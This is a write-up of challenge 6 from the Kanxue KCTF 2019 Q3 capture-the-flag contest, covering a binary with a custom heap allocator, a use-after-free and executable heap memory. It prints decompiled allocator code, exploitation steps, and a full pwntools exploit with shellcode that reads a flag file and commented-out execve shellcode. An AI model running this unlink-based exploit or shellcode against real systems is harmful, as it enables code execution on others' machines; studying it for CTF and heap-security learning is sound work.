看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路

Editor發表於2019-10-08

自古以來,在暗夜中隱藏著神祕的刺客一族“荊氏”。他們掌握著代代相傳的殺人之劍的祕訣,收受佣金為僱主服務,並且守口如瓶。
荊軻白日裡混跡街頭,與市井無賴為伍,夜幕降臨時則化身為致命殺手。
將軍樊於期,窺探到秦王的祕密被迫逃亡,成為燕國的客人。但是,他的聲望引起了太子丹的嫉妒。太子丹的手下將大筆金錢送到了殺手荊軻的手中。
豪爽的樊於期與年輕的無賴荊軻,早已超越身份結為好友。最終他拒絕了這筆生意。
次日,外面被太子丹的大批私兵包圍。“真可惜啊,我還沒有機會為自己揮出過一劍。”荊軻嘆息著,提劍走向了殘忍的凶手。慘烈的戰鬥持續到黃昏,熊熊烈焰將半條街映紅。

看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路



題目簡介



本題共有1028人圍觀,最終只有17支團隊攻破成功。比賽過程也十分精彩,選手們深夜破題,化身刺客打破排名僵局,一舉拿下屬於團隊的榮譽。


攻破此題的戰隊排名一覽:


看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路

這道題也十分有趣,接下來我們一起來看一下這道題的點評和詳細解析吧。


看雪評委crownless點評



程式重新自己實現了簡單的malloc和free,並且存在uaf,可以直接修改free掉過的chunk的fd指向存在"\x7F"的stdin附近(程式沒有PIE),而後注意到其malloc的實現時呼叫map生成的地址可讀可寫可執行,將一個note指向got表,將其修改到佈置好shellcode的地址即可。



出題團隊簡介



本題出題戰隊NEURON:


看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路


下面是相關簡介:

NEURON是一個資訊保安愛好者技術團隊,成員有各大安全公司技術人員、甲方的資訊保安部門人員以及各大高校的學生等。從2014年開始提供資訊保安外包服務。

多年來我們和國內多家資訊保安測評中心、科學研究院、運營商、高校都有密切的合作。

我們把多年的技術積累轉換為服務業務,為各行各業的網路資訊系統安全提供可靠的技術保障,也幫助高校培養合格的資訊保安技術人才。



設計思路



main函式原始碼:

看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路

通過malloc分配一個堆緩衝區;釋放指定的緩衝區;在指定地址可以寫入;輸出堆疊地址;退出返回。主要漏洞邏輯是在malloc和free函式中,每一個堆塊都有讀寫區域,最後兩個word會作為空閒列表指標。堆區域佈置如下:

看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路


在free之後存在一個UAF漏洞,可以通過在free和malloc之後重寫fd的值將bin設定成任意地址,現在該地址的區域是由下一個malloc保護的,這樣就可以控制返回地址,並且只開了NX,程式碼是可以被寫入堆空間中的,這樣返回地址就會被重寫為堆地址,劫持後執行shellcode。add_free_block函式原始碼:

void *add_free_block( unsigned int size)
{
    void *new_block = NULL;
    pm_header thdr;
    pm_footer tftr;
 
    /// 將size + sizeof(malloc header)放置到最近的頁上
    size += sizeof( m_header );
 
    if ( size % PAGE_SIZE ) {
        size /= PAGE_SIZE;
        size += 1;
        size *= PAGE_SIZE;
    }
 
    new_block = mmap( NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
    if ( new_block == NULL ) {
        exit(-1);
    }
 
    thdr = (pm_header)new_block;
 
    thdr->size = size - sizeof(m_header);
 
    tftr = BLOCK_FOOTER( new_block );
 
    tftr->pNext = NULL;
    tftr->pPrev = memman_g.free_list;
 
    memman_g.free_list = new_block;
 
    return new_block;
}

malloc程式碼:

void *malloc( unsigned int size )
{
    void *freeWalker = NULL;
    void *final_alloc = NULL;
    void *new_block = NULL;
    unsigned int size_left = 0;
 
    pm_header thdr;
    pm_footer tftr;
    pm_header header_new_block;
    pm_footer footer_new_block;
 
    /// 每個塊至少是頁尾結構的大小
    if ( size < sizeof( m_footer ) ) {
        size = sizeof(m_footer);
    }
 
    /// 對齊到8個位元組
    if ( size % 8 ) {
        size = ( size >> 3 ) + 1;
        size <<= 3;
    }
 
    freeWalker = memman_g.free_list;
 
    while ( 1 ) {
        if ( freeWalker == NULL ) {
            freeWalker = add_free_block( size );
        }
 
        thdr = (pm_header)freeWalker;
        tftr = BLOCK_FOOTER( freeWalker );
 
        /// 檢查當前塊是否足夠大以滿足請求
        /// 如果是的話,就要根據需要縮小尺寸
        if ( ( thdr->size & ~3) >= size ) {
            final_alloc = freeWalker + sizeof(pm_header);
 
            size_left = (thdr->size& ~3) - size;
 
            /// 設定一個標誌
            thdr->size |= 1;
 
            // 如果有空間則建立一個新塊
            if ( size_left > sizeof(m_header) + sizeof( m_footer) ) {
 
                // 修正尺寸大小
                thdr->size = size;
                thdr->size |= 1;
 
                // 設定標誌,前一個塊後面還有一個堆塊
                thdr->size |= 2;
 
                new_block = final_alloc + size;
 
                header_new_block = (pm_header)new_block;
                header_new_block->size = size_left - sizeof(m_header);
                footer_new_block = tftr;
 
                /// 如果這是列表的頭部就要修正它
                if ( freeWalker == memman_g.free_list ) {
 
                    memman_g.free_list = new_block;
 
 
                    if ( tftr->pNext != NULL ) {
                        tftr = BLOCK_FOOTER( (void*)(tftr->pNext) );
                        tftr->pPrev = (pm_header)new_block;
                    }
                } else {
 
                    // 修改前向和後向指標
                    if ( tftr->pPrev != NULL ) {
                        freeWalker = tftr->pPrev;
                        tftr = BLOCK_FOOTER( freeWalker );
                        tftr->pNext = (pm_header)new_block;
 
                        tftr = footer_new_block;
                    }
 
                    if ( tftr->pNext != NULL ) {
                        freeWalker = tftr->pNext;
                        tftr = BLOCK_FOOTER( freeWalker);
                        tftr->pPrev = (pm_header)new_block;
                    }
 
                }
 
            } else {
 
                /// 修改前向和後向指標
                if ( freeWalker == memman_g.free_list ) {
                    memman_g.free_list = tftr->pNext;
 
                    if ( memman_g.free_list ) {
                        tftr = BLOCK_FOOTER( (void*)(memman_g.free_list) );
                        tftr->pPrev = NULL;
                    }
 
                } else {
                    // 修改前向和後向指標
                    if ( tftr->pPrev != NULL ) {
                        freeWalker = tftr->pPrev;
                        pm_footer unlink_ftr = BLOCK_FOOTER( freeWalker );
                        unlink_ftr->pNext = tftr->pNext;
                    }
 
                    if ( tftr->pNext != NULL ) {
                        freeWalker = tftr->pNext;
 
                        pm_footer unlink_ftr = BLOCK_FOOTER( freeWalker);
                        unlink_ftr->pPrev = tftr->pPrev;
                    }
                }
            }
 
            /// 修改完成,返回分配的堆空間
            return final_alloc;
        }
 
        freeWalker = (void*)tftr->pNext;
 
    }
}

這個漏洞是在分配新緩衝區時,沒有檢查緩衝區大小,這樣就可以提供負大小的緩衝區。IDA程式碼如下:

.text:0000000000400A28 mov     edx, 0FFh       ; nbytes
.text:0000000000400A2D mov     rsi, rax        ; buf
.text:0000000000400A30 mov     edi, 0 ; fd
.text:0000000000400A35 call    _read           ;; read(0, &stdin_buffer, 0xFF)
 
.text:0000000000400A49 lea     rax, [rbp+stdin_buffer]
.text:0000000000400A50 mov     rdi, rax        ; nptr
.text:0000000000400A53 call    _atoi
.text:0000000000400A58 mov     [rbp+size], eax
.text:0000000000400A5B mov     ebx, cs:index
.text:0000000000400A61 mov     eax, [rbp+sz]
.text:0000000000400A64 mov     edi, eax
.text:0000000000400A66 call    allocate_buffer  ;; no check on size before call to allocate_buffer(size)

free_buffer(data_ptr)將得到塊的長度data_ptr - 8,並且會儲存指向head_free_list_ptr的塊,在下一次free()後 ,這個指標將會被解引用,但是這個指標也是可控的。利用這個漏洞需要使用堆分配器直接在堆疊內進行分配(由於“Nice Addr”命令,其地址已知)。所以我們需要:

分配3個堆塊,第二個分配的塊必須是-1後的大小


釋放第3個堆塊


釋放第二堆塊


+----------------+
| size = N |
| data |
| .. |
| |
| |
| ptr_to_stack |
+----------------+
| size = -1 |
+----------------+
| size = M |
| data |
| |
| |
+----------------+

第二次釋放後,我們就可以控制head_free_list_ptr了:

sz = 128
allocate(s, sz)
allocate(s, -1)
allocate(s, 10)
 
free(s, "3")
free(s, "2")
 
payload = "A"*(sz-8) + p64(0x4242424242424242)
write(s, 1, payload)

現在需要確切知道最後一次呼叫$ rbp的確切位置,“Nice Addr”命令會提供資訊。

main() 函式使用非常大的緩衝區(0x100位元組)來儲存從stdin讀取的值:

.text:0000000000400905 ; int __cdecl main(int, char **, char **)
.text:0000000000400905 main proc near
.text:0000000000400905
.text:0000000000400905 stdin_buffer= byte ptr -120h ;; <<-- this buffer provides a good place to land reliably
.text:0000000000400905 sz= dword ptr -14h

位置也很容易確定:

看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路

現在head_free_list_ptr就完全可控了。我們需要在此地址寫入一個較大的值,例如0x1000,這樣在檢查此地址時,allocate_buffer()會認為堆疊中的緩衝區足夠大,就可用於新的分配:

padd = 'D'*126 + p64(0x1000) + 'B'*8 + 'C'*8
free(s, "2" + "\0" + padd)
 
allocate(s, 512)

這樣就將其轉換為了常規堆疊溢位,只需在新分配的地址0x7fffffffe458處寫入shellcode即可。


解題思路



本題解題思路由看雪論壇KevinsBobo提供:


看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路


題目分析


1、保護情況

看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路

2、作者自己實現了堆分配函式malloc() free()

3、分配出的記憶體具有可執行屬性,因此雖然開了NX資料執行保護,但是堆上面的資料屬性是可執行的。

看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路

4、具有分配、釋放、寫以及列印一個棧地址的操作,而寫的時候又輸出了堆地址,洩露了棧地址和堆地址可以認為作者在暗示這是一個修改返回地址到堆上的操作,後面圍繞著這個目標進行。

看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路

5、釋放後沒有將指標置零,屬於UAF漏洞。

看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路

堆結構


分析堆結構需要結合分配與釋放函式來分析。


分配


_QWORD *__fastcall f_malloc_400CF7(unsigned int a1)
{
  unsigned int size; // [rsp+Ch] [rbp-54h]
  unsigned int idle_mem_size; // [rsp+3Ch] [rbp-24h]
  _QWORD *p_idle_mem; // [rsp+40h] [rbp-20h]
  signed __int64 data_addr; // [rsp+48h] [rbp-18h]
  unsigned __int64 bk; // [rsp+50h] [rbp-10h]
  _QWORD *addr; // [rsp+58h] [rbp-8h]
//
  size = a1;
  if ( a1 <= 15 )
    size = 16; // 最低分配16位元組
  if ( size & 7 )
    size = 8 * ((size >> 3) + 1); // 8位元組對齊
  for ( addr = (_QWORD *)g_first_idle_heap_602558; ; addr = *(_QWORD **)bk )
  {
    if ( !addr )
      addr = f_init_mmap_400C2D(size);
    bk = (unsigned __int64)addr + (*addr & 0xFFFFFFFFFFFFFFFCLL) - 8;
    if ( (*addr & 0xFFFFFFFFFFFFFFFCLL) >= size )// 如果堆大小大於等於 size 符合條件
      break;
  }
  data_addr = (signed __int64)(addr + 1);
  idle_mem_size = (*addr & 0xFFFFFFFC) - size; // 分配給使用者後的剩餘空間
  *addr |= 1uLL; // 標記當前堆是使用狀態
  if ( idle_mem_size <= 0x18 ) // 閒置空間太小
  {
    if ( (_QWORD *)g_first_idle_heap_602558 == addr )
    {
      g_first_idle_heap_602558 = *(_QWORD *)bk;
      if ( g_first_idle_heap_602558 )
        *(_QWORD *)(g_first_idle_heap_602558 + (*(_QWORD *)g_first_idle_heap_602558 & 0xFFFFFFFFFFFFFFFCLL)) = 0LL;// fd = 0
    }
    else
    {
      if ( *(_QWORD *)(bk + 8) ) // fd
        *(_QWORD *)((**(_QWORD **)(bk + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(bk + 8)) = *(_QWORD *)bk;// fd->bk = bk
      if ( *(_QWORD *)bk )
        *(_QWORD *)((**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)bk) = *(_QWORD *)(bk + 8);// bk->fd = fd
    }
  }
  else                                          // 閒置空間至少還能再分配一次記憶體,分割出使用者記憶體,與閒置記憶體
  {
    *addr = size;
    *addr |= 1uLL; // 標記當前堆是使用狀態
    *addr |= 2uLL; // 標記相鄰的下一個堆是未使用狀態 True 代表未使用
    p_idle_mem = (_QWORD *)(size + data_addr);
    *p_idle_mem = idle_mem_size - 8LL; // 設定閒置記憶體大小
    if ( (_QWORD *)g_first_idle_heap_602558 == addr )
    {
      g_first_idle_heap_602558 = size + data_addr;// 將全域性變數儲存的堆地址指向閒置記憶體地址
      if ( *(_QWORD *)bk )
        *(_QWORD *)(*(_QWORD *)bk + (**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL)) = p_idle_mem;// bk->fd = p_idle_mem
    }
    else
    {
      if ( *(_QWORD *)(bk + 8) )
        *(_QWORD *)((**(_QWORD **)(bk + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(bk + 8)) = p_idle_mem;// fd->bk = p_idle_mem
      if ( *(_QWORD *)bk )
        *(_QWORD *)((**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)bk) = p_idle_mem;// bk->fd = p_idle_mem
    }
  }
  return addr + 1;
}


釋放


__int64 *__fastcall f_free_40101A(__int64 *addr)
{
  __int64 *flag; // rax
  _OWORD *bk; // ST18_8
  _QWORD *next_bk; // [rsp+18h] [rbp-20h]
  __int64 *next_heap; // [rsp+20h] [rbp-18h]
  __int64 *heap_addr; // [rsp+28h] [rbp-10h]
 
  if ( addr )
  {
    heap_addr = addr - 1;
    flag = (__int64 *)(*(addr - 1) & 1);
    if ( flag )
    {
      if ( !(*heap_addr & 2) || (next_heap = &addr[(unsigned __int64)*heap_addr >> 3], *next_heap & 1) )// 相鄰的下一個堆是使用狀態
      {
        bk = (_OWORD *)((char *)heap_addr + (*heap_addr & 0xFFFFFFFFFFFFFFFCLL) - 8);// BK
        *heap_addr ^= 1uLL; // 使用標誌清零
        *bk = (unsigned __int64)g_first_idle_heap_602558;
        if ( g_first_idle_heap_602558 )
          *(_QWORD *)(g_first_idle_heap_602558 + (*(_QWORD *)g_first_idle_heap_602558 & 0xFFFFFFFFFFFFFFFCLL)) = heap_addr;// bk->fd = heap_addr
        flag = addr - 1;
        g_first_idle_heap_602558 = (__int64)(addr - 1);
      }
      else                                      // 相鄰的下一個堆未使用,合併
      {
        *heap_addr += (*next_heap & 0xFFFFFFFFFFFFFFFCLL) + 8;// 合併大小
        if ( !(*next_heap & 2) )
          *heap_addr ^= 2uLL; // 繼承相鄰的下個堆的使用狀態
        if ( (__int64 *)g_first_idle_heap_602558 == next_heap )
          g_first_idle_heap_602558 = (__int64)(addr - 1);
        next_bk = (__int64 *)((char *)heap_addr + (*heap_addr & 0xFFFFFFFFFFFFFFFCLL) - 8);
        if ( *next_bk )
          *(_QWORD *)(*next_bk + (*(_QWORD *)*next_bk & 0xFFFFFFFFFFFFFFFCLL)) = heap_addr;// next_bk->fd = heap_addr
        flag = (__int64 *)next_bk[1]; // flag = next_fd
        if ( flag )
        {
          flag = (__int64 *)(next_bk[1] + (*(_QWORD *)next_bk[1] & 0xFFFFFFFFFFFFFFFCLL) - 8);// next_fd->bk = heap_addr
          *flag = (__int64)heap_addr;
        }
      }
    }
  }
  return flag;
}


結構示意圖


看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路

根據上圖結合程式碼可發現,作者實現的堆是通過當前堆大小來定位相鄰的下一個堆的,空閒堆的尾部儲存了BK和FD指標。

利用方法


堆利用


通常利用堆實現任意地址寫,都是通過控制堆的BK、FK指標,利用堆塊在從連結串列中卸下時的Unlink操作來實現的,也就是BK->FD = FD; FD->BK = BK。作者實現的這個堆也有Unlink操作,在malloc分配記憶體時:

看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路

根據上面的程式碼可以看出,想要進行Unlink操作,需要滿足以下幾個條件:

分配給使用者後剩餘的空間小於0x18

當前堆塊不能在空閒堆連結串列第一個

要滿足以上需要這樣操作,申請4個堆(1-4號大小分別為:32 32 24 xx),依次釋放1號和3號堆,此時3號堆在連結串列頭,再次申請32位元組大小的堆時就只能找到連結串列中被釋放的1號堆,然後從連結串列卸下,就觸發了Unlink操作。而因為釋放後沒有將儲存堆地址的指標清零,所以就可以修改已釋放的3號堆的BK與FD,使其在重新分配時可以被我們控制來做任意地址寫的操作。

修改返回地址


控制了BK與FD,需要將其指向一個符合堆結構的記憶體,即該記憶體前8位元組為大小,加上大小到達FD或BK指定的位置,再修改。這就意味著必須要再棧中構造一個假的堆才能達到改寫返回地址的作用。此時來看分配前的操作:

看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路

用了一個足夠大的buf來接收使用者輸入,用完後也沒有清空,而atoi()函式只解析字串前面可識別的數字部分,也不對對後面非數字字元的資料產生影響或修改。所以現在可被控制的棧空間也有了,剩下的就是計算地址,構造假對進行修改了,詳見exp,需要注意的時第四個堆的大小(哈哈,調一下就知道他是什麼作用了)。

exp


作者的環境遮蔽了system('/bin/sh'),所以就直接找來讀檔案的ShellCode了。

#coding=utf-8
from pwn import *
#
# context.log_level = 'debug'
# p = process('./0xbird1')
p = remote('154.8.174.214', 10000)
#
# execve("/bin/sh") # x86-64
# shellcode = "\x48\x31\xf6\x56\x48\xbf"
# shellcode += "\x2f\x62\x69\x6e\x2f"
# shellcode += "\x2f\x73\x68\x57\x54"
# shellcode += "\x5f\xb0\x3b\x99\x0f\x05"
#
# read file ./flag.txt
shellcode = "\xeb\x2f\x5f\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xef\x0f\x48\x8d\x34\x24\x48\x97\x48\x31\xd2\x66\xba\xef\x0f\x48\x31\xc0\x0f\x05\x6a\x01\x5f\x48\x92\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xcc\xff\xff\xff\x2e\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x00";
#
heap_addr = []
#
def alloc(size):
    p.sendline('A')
    p.recvuntil("Size: ")
    p.sendline(str(size))
    p.recvuntil("2019KCTF| ")
#
def free(id):
    p.sendline('F')
    p.recvuntil("Index: ")
    p.sendline(str(id))
    p.recvuntil("2019KCTF| ")
# 
def edit(id, data, count):
    p.sendline('W')
    for i in range(1, count+1):
        p.recvuntil(") 0x")
        heap_addr.append(int(p.recvuntil(" "), 16))
    p.recvuntil("Write addr: ")
    p.sendline(str(id))
    p.recvuntil("Write value: ")
    p.send(data)
    p.recvuntil("2019KCTF| ")
# 
def leak():
    p.sendline('N')
    p.recvuntil("Here you go: 0x")
    return int(p.recvuntil("\n"), 16) + 0x14
#
stack = leak() + 8
print('Get Stack addr: %x' % stack)
#
alloc(32)
alloc(32)
alloc(24)
alloc(1768) # 0x06E8 jmp $+8
edit(4, shellcode, 4)
#
print('Heap Addr:')
print(heap_addr)
#
free(1)
free(3)
#
heap01 = 'A'*16 + p64(stack) + p64(heap_addr[3]-8)
# bk = 棧上的假堆, fd = 第4個堆,這個堆裡面儲存了 shellcode
# 在 alloc 時,bk->fd = shellcode_addr => stack->main_ret = shellcode_addr
edit(1, heap01, 3)
print('Heap Addr:')
print(heap_addr)
#
raw_input("Pause~\n")
#
# 傳送大小時,在棧上面佈局一個假堆,大小 0x120,fd = main_ret
size_data = '32.' + 'A'*5 + p64(0x120)
p.sendline('A')
p.recvuntil("Size: ")
p.sendline(size_data)
p.recvuntil("2019KCTF| ")
#
# 跳到 shellcode
p.sendline('E')
#
# p.interactive()
p.close()


相關文章